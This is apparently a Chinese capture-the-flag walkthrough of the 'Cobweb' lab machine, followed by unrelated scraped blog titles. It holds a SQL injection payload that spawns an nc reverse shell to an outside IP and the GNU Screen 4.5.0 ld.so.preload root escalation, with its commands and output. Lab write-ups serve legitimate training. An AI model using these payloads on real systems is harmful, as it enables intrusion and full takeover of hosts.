源码泄露

可以直接看到源码存在sql注入

反弹shellpayload

http://192.168.167.162/phpinfo%22%20%20union%20select%20'system(%22nc%20-e%20/bin/bash%20192.168.45.250%2080%22);echo%2011122;'%20order%20by%201%20desc%20%20--%20

查看具有suid的命令

发现screen 命令存在漏洞GNU Screen 4.5.0 - Local Privilege Escalation

点击查看代码
sh-4.4# find / -perm -u=s -type f 2>/dev/null
/var/tmp/rootshell
/usr/bin/fusermount
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/su
/usr/bin/mount
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/crontab
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/fusermount3
/usr/bin/screen-4.5.0
/usr/sbin/grub2-set-bootflag
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/userhelper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/libexec/cockpit-session
/usr/libexec/sssd/krb5_child
/usr/libexec/sssd/ldap_child
/usr/libexec/sssd/proxy_child
/usr/libexec/sssd/selinux_child

按照https://www.exploit-db.com/exploits/41154 里面的方法自己在本地写好
libhax.so 和 rootshell 其中编译rootshell的时候要加上 -static 不然运行不了
同时执行的目录也要修改为/var/tmp
因为在/var/tmp 里面执行不了suid命令

成功提权
bash-4.4$ cd /var/tmp
bash-4.4$ ls
libhax.so rootshell
bash-4.4$ cd /etc
bash-4.4$ unmask 000
bash: unmask: command not found
bash-4.4$ umask 000 # because
bash-4.4$ screen -D -m -L ld.so.preload echo -ne "\x0a/var/tmp/libhax.so"
bash-4.4$ screen -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-apache. bash-4.4$ cd /var/tmp
bash-4.4$ ls
libhax.so rootshell
bash-4.4$ ls -al
total 788
drwxrwxrwt 2 root root 40 Nov 7 07:16 .
drwxr-xr-x. 22 root root 4096 Aug 27 2021 ..
-rwxrwxrwx 1 apache apache 15696 Nov 7 06:57 libhax.so
-rwsr-xr-x 1 root root 785800 Nov 7 07:13 rootshell
bash-4.4$ ./rootshell
sh-4.4# whoami
root
sh-4.4# cd /root
sh-4.4# ls
proof.txt
sh-4.4# cat proof.txt
392388689a0ceba499668648185647f6

Cobweb Intermediate pg walkthrough的更多相关文章

  1. 简析服务端通过GT导入SHP至PG的方法

    文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 项目中需要在浏览器端直接上传SHP后服务端进行数据的自动入PG ...

  2. Bootstap datetimepicker报错TypeError: intermediate value

    Bootstrap datetimepicker有多个版本,官方的链接中,只是datepicker,没有时间的选择,原版的datetimepicker也不再更新,不能用新版的jquery.现在http ...

  3. PG 中 JSON 字段的应用

    13 年发现 pg 有了 json 类型,便从 oracle 转 pg,几年下来也算比较熟稔了,总结几个有益的实践. 用途一:存储设计时无法预料的文档性的数据.比如,通常可以在人员表准备一个 json ...

  4. pg gem 安装(postgresql94)

    使用下面命令安装报错 gem install pg 错误: [root@AS-test middle_database]# gem install pgBuilding native extensio ...

  5. #pg学习#postgresql的安装

    1.按照官网给的步骤编译安装(Mac安装是比较容易的,相比Liunx) cd /Users/renlipeng/Desktop/postgresql-9.5.1 ./configure --prefi ...

  6. PG 函数的易变性(Function Volatility Categories)

    此概念的接触是在做分区表的时候碰到的,分区表按时间字段分区,在查询时当where条件中时间为now()或者current_time()等时是无法查询的,即使进行格式转换也不行,只有是时间格式如‘201 ...

  7. c++错误——intermediate.manifest : general error c1010070很傻的错

    .\Debug\sadf.exe.intermediate.manifest : general error c1010070: Failed to load and parse the manife ...

  8. mysql 序列与pg序列的比较

    mysql序列(这里只谈innodb引擎): 在使用mysql的AUTO_INCREMENT时,使用AUTO_INCREMENT的字段必须建有索引,也可以为索引的一部分.当没有索引时会报错:      ...

  9. 使用zfs进行pg的pitr恢复测试

    前段时间做了一下zfs做pg的增量恢复测试,mark一下. 服务器信息: 主机:192.168.173.43 备机:192.168.173.41 主备使用流复制搭建,在备机上面进行了zfs快照备份. ...

  10. PG CREATEINDEX CONCURRENTLY

    PG CREATEINDEX CONCURRENTLY [TOC] 官方说法 根据9.1的文档 Creating an index can interfere with regular operati ...

随机推荐

  1. Quartz集群增强版_01.集群及缺火处理(ClusterMisfireHandler)

    Quartz集群增强版_01.集群及缺火处理(ClusterMisfireHandler) 转载请著名出处 https://www.cnblogs.com/funnyzpc/p/18542452 主要 ...

  2. KTL (0.9.2,通达信mdt文件)

    K,K线,Candle蜡烛图. T,技术分析,工具平台 L,公式Language语言使用c++14,Lite小巧简易. 项目仓库:https://github.com/bbqz007/KTL 国内仓库 ...

  3. Codeforces Round 971 (Div. 4) E 题解析

    # E题 Klee's SUPER DUPER LARGE Array!!! 题目描述 思路: 对于这道题,首先观察到题目求的是最小可能值,而且数据的范围是1e9范围,所以首先可以考虑的方法就是O(l ...

  4. YIi2 Object 报错问题

    yii2的老版本会有在PHP7运行的错误提示 Cannot use yii\base\Object as Object because 'Object' is a special class name ...

  5. tcp全连接满了怎么处理

    cat /proc/sys/net/ipv4/tcp_max_syn_backlog #syn队列最大长度 netstat -ntl | grep SYN_RECV | wc -l #syn队列当前长 ...

  6. Docker私有仓库操作----命令行

    查看所有镜像 http://10.206.29.162:5000/v2/_catalog {"repositories":["dashboard"," ...

  7. JDK7新特性之G1 GC

    Garbage-first garbage collector,简称G1 GC,是最终将用于代替Concurrent Mark-Sweep garbage collector(CMS GC)的新一代垃 ...

  8. MySQL底层概述—1.InnoDB内存结构

    大纲 1.InnoDB引擎架构 2.Buffer Pool 3.Page管理机制之Page页分类 4.Page管理机制之Page页管理 5.Change Buffer 6.Log Buffer 1.I ...

  9. Net使用EasyNetQ简化与RabbitMQ的交互

    Net使用EasyNetQ简化与RabbitMQ的交互 EasyNetQ是一个为.NET环境设计的RabbitMQ客户端API,旨在简化与RabbitMQ的交互. 关于RabbitMq的更多知识点在: ...

  10. 使用Maps SDK添加本地slpk

    SceneView m_sceneView; public void LoadSceneLayerFromSLPK(SceneView sceneView, string slpkPath) { if ...